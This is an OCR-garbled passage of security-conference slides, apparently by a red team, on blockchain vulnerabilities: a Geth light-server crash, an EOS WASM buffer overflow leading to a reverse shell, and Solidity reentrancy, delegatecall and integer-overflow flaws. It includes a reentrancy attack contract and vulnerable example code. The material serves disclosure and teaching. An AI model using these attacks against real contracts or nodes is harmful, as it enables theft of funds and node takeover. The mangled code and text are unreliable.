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01
Introduction

&Background




A blockchain is an intelligent peer-to-peer network that uses distributed databases to identify, propagate, and record information,
also known as the value Internet. In 2008, Satoshi Nakamoto proposed the concept of “blockchain” in Bitcoin White Paper and

created the Bitcoin social network in 2009.



Architecture

Applications

Wallet

Decentralized Ledger

Block Structure Validation

m Proof of Work

Blockchain

Peer-to-Peer Network

Node types
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Block Chalin
Core Technology

Blockchain is not a new technology, but a technical
combination of old technologies. Its key technologies,
including P2P dynamic networking, cryptographic-
based shared books, consensus mechanisms

smart (byzantine generals), smart contracts, and other
contracts technologies are all older technologies with more than
a decade of history.

< more. . >

cryptographic
&consensus
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Block Chalin
Core Technology

P2P

Peer-to-peer, or P2P in its abbreviated form, refers to
computer networks that use a distributed architecture. That
means that all the computers or devices that are part of it
share the workloads in the network. The computers or
devices that are part of a peer-to-peer network are called

peers.

cryptographic  fcryptographic smart
&consensus Smart contract
contracts
cryptographic used to sign or Hash &consensus Smart contracts help you exchange money,
calculations. property, shares, or anything of value in a

PoW. PoS. DPoS used to solve the transparent, conflict-free way while avoiding the
secure problems. services of a middleman.
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Blockchain Features

Decentralization

Decentralization is the most fundamental
property of the blockchain, and it is also
the most important factor that distinguishes
the blockchain from other distributed
ledgers.

Irreversibllity

There is no central body which
governs whether a particular
transaction should be recorded or not.
This is solved for using consensus
amongst all nodes on the blockchain.
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Blockchain Generations

Blockchain technology, it is divided into three stages: blockchain 1.0,
blockchain 2.0, and blockchain 3.0.
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Generations 1.0

Bitcoin and Digital Currencies

The typical representative is:
Bitcoin, Bitcoin is the most
successful application in the
development of blockchain.
However, the disadvantage of
Blockchain 1.0 is that it does not
support other developments
such as writing smart contract
functions.

Generations 3.0

The Future

One of the major issues facing
blockchain is scaling. Bitcoin remains
troubled by transaction processing
times and bottlenecking. Many new
digital currencies have attempted to
revise their blockchains in order to
accommodate these issues, but with
varying degrees of success.

auQ

29Iy |
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Blockchain appearance

Blockchain concept appears

In 2008, Satoshi Nakamoto
proposed the concept of
“blockchain” in Bitcoin White
Paper

Generations 2.0

Smart Contracts

Smart contracts are added to the
digital currency, and other
application development can be
done on this basis. Blockchain
2.0 stands for Ethereum.
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Some of cryptocurrency in recent months
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Blockchain software
vulnerability distribution

Example

Input and output verification

 Buffer overflow

 Cross-site scripting

* Injection attack, etc.
Code quality problem

* Unused local variables

* Null pointer dereference, etc.
SECIWACEIEES

* Override access

« Unsafe random number

® Input and output verification @ Code quality problem Safety features
Mem manager ® API problem ® Others
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1. Public Chain

2. Smart Contract

02
Vulnerability




Public Chain Reacher

The most powerful
Infrastructure for

decentralized applications
7)

Ethereum is
a decentralized platform

v that runs smart contracts
J)

Ethereum EOS

redteam@360.cn



Geth

According to Ethernodes, geth has around
two-thirds share.

https://github.com/ethereum/go-ethereum

Make Geth

Given geth is the majority in the Ethereum
network, any critical vulnerability of it could
possibly cause severe damages to the entire
Ethereum ecosystem.

Background 1

~
74
Clients

Total 12935 (100%)
United States 5551 (42.91%)
China 1646 (12.73%) | WY
Canada
Germany 537 (4.15%)
Russian Federation 459 (3.55%)
United Kingdom 403 (3.12%)

NEGEHERE 283 (2.19%)

N

v

For development purposes only

CLIENTS

I\

Client Versions

COUNTRIES

Network number T Last updated a few seconds ago

0S

|
L Jd

For development purposes only Fc
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https://github.com/ethereum/go-ethereum

This figure display the protocol layers used in
Ethereum. For supporting “light” clients, the
Light Ethereum Subprotocol (LES) allows an
Ethereum node to only download block
headers as they appear and fetch other parts
of the blockchain on-demand. To achieve
that, we also need a full (or archive) node
acting as the LES server to serve the light
nodes.

geth --lightserv 20

While an LES client requesting block headers
from an LES server, the GetBlockHeaders
message is sent from the client and the
message handler on the server side parses
the message.

Background 2

.

1.

Support arbitrary sub-protocols (aka
capabilities) over the basic wire protocol
Connection management

Encrypted Handshake/Authentication
Peer Persistence
UDP Node Discovery Protocol

Ethereum Protocol Stack

redteam@360.cn



func (hc x ) GetBlockHashesFromHash(hash , max uint64) []

:= hc.GetHeaderByHash(hash)

if == nil {
return nil
}
el T s, 0, max) (common.Hash{}) && query.Reverse:
uint64(0) < ++ {
ext := _ | ery.Skip)+1; i++ {
7 lﬂeak== .GetHeader (next, header. .Uint64()-1) ockchain.GetHeader(query.Origin.Hash, number); header != nil {
} ash = header.ParentHash
= append(chain, next)
if : .Sign() == 0 {
break
}
}
return
case query.0Origin.Hash != (common.Hash{}) && !query.Reverse: QU@W-SK|P+1 =O
if header := pm.blockchain.GetHeaderByNumber(origin.Number.Uint64() +_cw@ ;. 5Kip + 1); header != nil {

if pm.blockchain.GetBlockHashesFromHasN(header.Hash(), query.Skip+1) [query.Skip] == query.Origin.Hash {
query.Origin.Hash = header.Hash()

} else {
unknown = true

Max size OXxfFfffff

struct {

uinté64
uinté4
bool

unknown = true

}

case !'query.Reverse:

query.Origin.Number += query.Skip + 1
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Process

Index out of range

GetBlockHeaders GetBlockHashesFromHash

query.skip= OxfffFFFFFEFFFFF
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DEMO
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Background

Eos

Be an operating system that truly supports EOS Charts

Zoom 1d 7d 1Im 3m ly YTD ALL From | Jul 2, 2017 To | Oct 26, 2018

$20.00
$15.00
$10.00
\\‘
v
$5.00
|
,\\\//\h——~‘\--‘¥\—-—f~_———~—J/\Aj/~J $0

Linear Scale Log Scale 7 =

commercial applications.

https://github.com/EOSIO/eos

(asn) 21144

One of the best things about using WASM is
that EOS smart contracts can be written in
any programming language that compiles to
WASM.

‘IH\I thlhn...;. ........... il ok hﬂml‘l‘” m'Hl‘ll’MilHlJ.ilill.lil.\lhnll\im..

.,|Ii|1‘||..dni||h|\|”
Jan '18 ay
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Details

This is a buffer overflow vulnerability At libraries/chain/webassembly/binaryen.cpp (Line
78),Function binaryen_runtime::instantiate_module:

(auto& ségment : module—>tab1e;§egments) {

Address offset = ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).value.geti32();
assert(offset + segment.data.size() <= module->table.initial);

(size_t i = 0; i '= segment.data.size(); ++i) {
table[offset + i] = segment.data[i];

}

The values offset and segment.data.size() are read from the WASM file.

This creates a vulnerabillity that can be exploited by a malicious contract providing

invalid values. By doing so, attackers would be able to write data into arbitrary
addresses in memory and take control of the node.

By stealing the private keys of super nodes, controlling the content of new blocks,
packing a malicious contract into a new block and publishing it.
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Process

Upload malicious contracts
NodeEOS

Segment fault

Reverse shell

Remote Code
Execution
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DEMO
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Blockchain Smart Contract Vulnerability

Base on Ethereum

overflow
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Blockchain Smart Contract Vulnerability

Base on Ethereum

Smart Contract Gas

SMART CONTRACT

o o 7
H % %O ﬁ ETHEREUM v

PARTIES SMART CONTRACT EXECUTION
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* 3.6 million Ethereum coins
e $70 million

* Ethereum Classic (ETC) and
Ethereum (ETH)

Reentrancy
EVENT
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Reentrancy
EXAMPLE

solidity "0.4.22;
A transfer function
foo {

address admin; address.gas().call.value()
mapping (address => uint256) balances;

foo(){

admin = msg.sender;

deposit() {
(balances [msg.sender] + msg.value >balancess® J.sender]);
: balances [msg.sender] msg.value; solidity ~0.4.10;
withdraw(address to, uint256 azg 54
(balances [msg.sender; — _udF
(balances [msg.sende; amount < balances [msg. () {
to.call.value(amount)(); }
balances [msg.sender] amount;

TEST {

Attack(address _target) {
_target.call.value(msg.value) (bytes4(keccak25¢

redteam@360.cn



Reentrancy

solidity "0.4.22;
attack{

address admin;
address foo_address;

adminOnly{
(admin msg.sender);
attack() {

admin = msg.sender;

setaddress(address target) adminOnly{

foo_address - target;

deposit_foo(uint256 amount) adminOnly{

foo_address.call.value(amount) (bytes4(keccak256("deposit()")));

withdraw_foo(uint256 amount) adz Al

foo_address.call(bytes4(keccak2”? ithdraw(address,uint256)")),

stop() adminOnl
(admin);

() {

(msg.sender foo_address){

fon address.call(bvtesd(keccak?56("withdraw(address.uint256)")).

EXAMPLE

,amount);

.msa.value);

to.call.value(amount)():
balances [msg.sender]

amount;

redteam@360.cn



Reentrancy
EXAMPLE

OrdlnaryAaccount OrdlnaryBaccount Attack account C .

1.Create contract
‘ 3.Create and transfer 2 eth

} 8 Withdrawal 52et!

2.Deposit 50eth

ha0 4 Deposit 2eth MIEBCR
contract contract

5 Withdrawal 1leth

6.Transfer 1leth to the attack contract and execute fallback() again—f

7 Execute multiple fallback(), all eth out

redteam@360.cn




® e Remix - Solidity IDE

©C B O A % « ¥ browser/reentrancy.sol x » Compile Run  Settings Analysis Debugger Support
ContractDefinition IDMoney * 0 reference(s) A w
T .
v browser ; pragma solidity /0.4.10; Environment  JavaScript VM VM) 5 1
HelloWorld.sol
3~ contract IDMoney { A
Overflow.sol 4 e ey Account 0x147...c160c¢ (100 ether) s 1O
ballot.sol 5 mapping (address => uint256) balances; Gas limit 3000000
6
rallac test.o0! 7 event withdrawLog(address, uint256); Value 0 ether a
king.sol 8
reentrancy.sol a 9 function IDMoney() { owner = msg.sender; }
. a 10 function deposit() payable { balances[msg.sender] += msg.value; }
ST EXPIOIL 30! a1l -~ function withdraw(address to, uint256 amount) { [Attack 3]
12 require(balances[msg.sender] > amount);
a 13 require(this.balance > amount); I Create
14
a 15 withdrawLog(to, amount); Load contract from Address At Address
16
a 17 to.call.valueCamount)();
18 balances[msg.sender] -= amount;
19 } 0 pending transactions B = ’
& 20 function balanceOf() returns (uint256) { return balances[msg.sender]; }
a 21 function balanceOf(address addr) returns (uint256) { return balances[addr]; }
22 }
23
24 ~ contract Attack {
25 address owner;
26 address victim;
27
28 modifier ownerOnly { require(owner == msg.sender); _; }
29
& 30 function Attack() payable { owner = msg.sender; }
¥ @ [2] only remix transactions, script ~ Q Search transactions




Call function abuse

delegatecall

2.delegatecall() ——————————

callcode

redteam@360.cn



Call function abuse

Example 1

solidity "0.4.22;

foo{
address

addr.
addr.
}
atta
address
admin
}

admin;
call_function(address addr,bytes4 data)
delegatecall(data);
callcode(data);

ck {
ar  _a;
test() {
®X®38f16®ad€324®9bfb18582241d9fd88cla®72ba;

EXAMPLE

call_function(bytes daya)
.call(data);

withdraw(address addr)
(isAuth(msg.sender));
addr.transter| .Dalance);

Example 2

redteam@360.cn



Call Abuse

CVE-2018-12959

function approveAndCall(address spender, uint256 value, bytes extraData) returns (bool

success) {
allowed[msg.sender ][ spender] = value;

Approval (msg.sender, spender, value);

//call the receiveApproval function on the contract you want to be notified. This

crafts the function signature manually so one doesn't have to include a contract in here

just for this.

//receiveApproval (address from, uint256 value, address tokenContract, bytes

extraData)

//it is assumed that when does this that the call *should* succeed, otherwise one

would use vanilla approve l1lnstead.

1if(! spender.call(bytes4(bytes32(sha3("receiveApproval (address,uint256,address,bytes)"))),

msg.sender, value, this, extraData)) { throw; }

return true;

redteam@360.cn



@ Remix - Solidity IDE

O B O @& % « ¥ browser/test.sol x » Compile Run  Settings Analysis Debugger Support

» browser ; pragma solidity "9.4.4;
3+ contract Token {
4

“r
[ X}

Envwonment JavaScript VM ¥ VM |

Account Oxca3...a733c¢ (100 ether)

-
o

wnd — : ~ " ¢
=i 17 21 4 .

o epralmpn; Vo Gas limit 3000000
function totalSupply() constant returns (uint256 supply) {}

“ar

Value 0 wei

oYW

9 @return The balance
5 10 function balanceOf(address _owner) constant returns (uint256 balance) {}
11 [ AditusToken
12 @notice send value® token to to" from ‘msg.sender
13 @param _to The address of the recipient Create
14 #param _value The amount of token to be transferred
15 Breturn Whether the transfer wos successful v not : " s Sonen A — AtAddeSS
L 16 function transfer(address _to, uint256 _value) returns (bool success) {}
17
18 #notice <end value® token to s £ o from' on the condition it s approved by  Jp—
19 @oaram _from The address of the sender A 0 pending transactions = ER
20 Soaran tO0 The address of the recipirent
21 Soaran value The anount of token to be transt
2l #return Whether the transfer was successful o
B 23 function transferfFrom(address _from, address _to, uint256 _value) returns (bool success) {}
24

“ar

25 #noti1ce $q.sender Oroves acd to spend v L U tokens

» ™ -
26 Soaran spender The aoddress of the account able to transfer the toki
27 #oparam _value The agnmount of wel to be approved for tronster

28 ereturn Whether the opproval wos successful « O
n 29 function OpprOVC(hﬂﬂ'PH\ spender, uintido wml.v) returns (Hfﬂi SUCCCSS) {}
30
31 Sparan wner The address of the oce
32

vy @ [2] only remix transactions, script ~ Q Searchtra tions Listen on network




» Solidity's uint defaults to a 256-

Integer overflow

uint8 integer

Integer overflow

bit unsigned integer, indicating
a range of: [0, 27256-1]

-1

0 [ofojojojojojojfo
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Arithmetic overflow
EXAMPLE

balances[msg.sender]=5 «6 =2*256-1>1

solidity "0.4.22;

foo {
mapping (address => 256) balances;
deposit() {
balances [msg.sender] nsg.value;
}

withdraw(uint256 amount){
(balances [msg.sender] - amount > 0);
msg.sender.transfer(amount);

balances [msg.sender] amount;
L 8

redteam@360.cn



Arithmetic overflow
CVE-2018-11561

We look directly at line 70, the function distribute Token.

function distributeToken(address[] addresses, uint256 _value) {
for (uint i = 0: i < addresses_lenath: i++) {
balances[msg.sender] —= _value;
balances[addresses[i]] += value;

[FansTer(msg.sender, addressesiii, _value);


https://www.youtube.com/watch?v=Tu2iyO38o4A

2

& 23
24
25
26
27
28

& 29
30
31
32
33

a 34
35
36
37
38
39
40
41
42

1 pragma solidity "9.4.4;

3 - contract Token {

/// Breturn total amount of tokens
function totalSupply() constant returns (uint256 supply) {}

/// Bparam _owner The oddress from which the balance will be retrieved
/// Breturn The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}

/// Bnotice send "_value’ token to "_to" from ‘msg.sender’

/// ®param _to The address of the recipient

/// @param _value The amount of token to be transferred I
/// Breturn Whether the transfer was successful or not

function transfer(address _to, uint256 _value) returns (bool success) {}

/// Bnotice send " _value’ token to “_to" from "_from™ on the condition it is opproved by °_from’

/// Bparam _from The address of the sender

/// ®param _to The address of the recipient

/// Bparam _value The amount of token to be transferred

/// Breturn Whether the transfer was successful or not

function transferfrom(address _from, address _to, uint256 _value) returns (bool success) {}

/// Bnotice 'msg.sender’ approves ' _addr’ to spend "_value® tokens

/// Bparam _spender The address of the account able to transfer the tokens
/// Bparam _value The amount of wei to be approved for transfer

/// Breturn Whether the approval was successful or not

function aopprove(address _spender, uint256 _value) returns (bool success) {}

/// Bparam _omner The address of the account owning tokens

/// Bparam _spender The address of the account able to transfer the tokens

/// Breturn Amount of remaining tokens allowed to spent

function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}

event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);

43 « contract StandardToken is Token {
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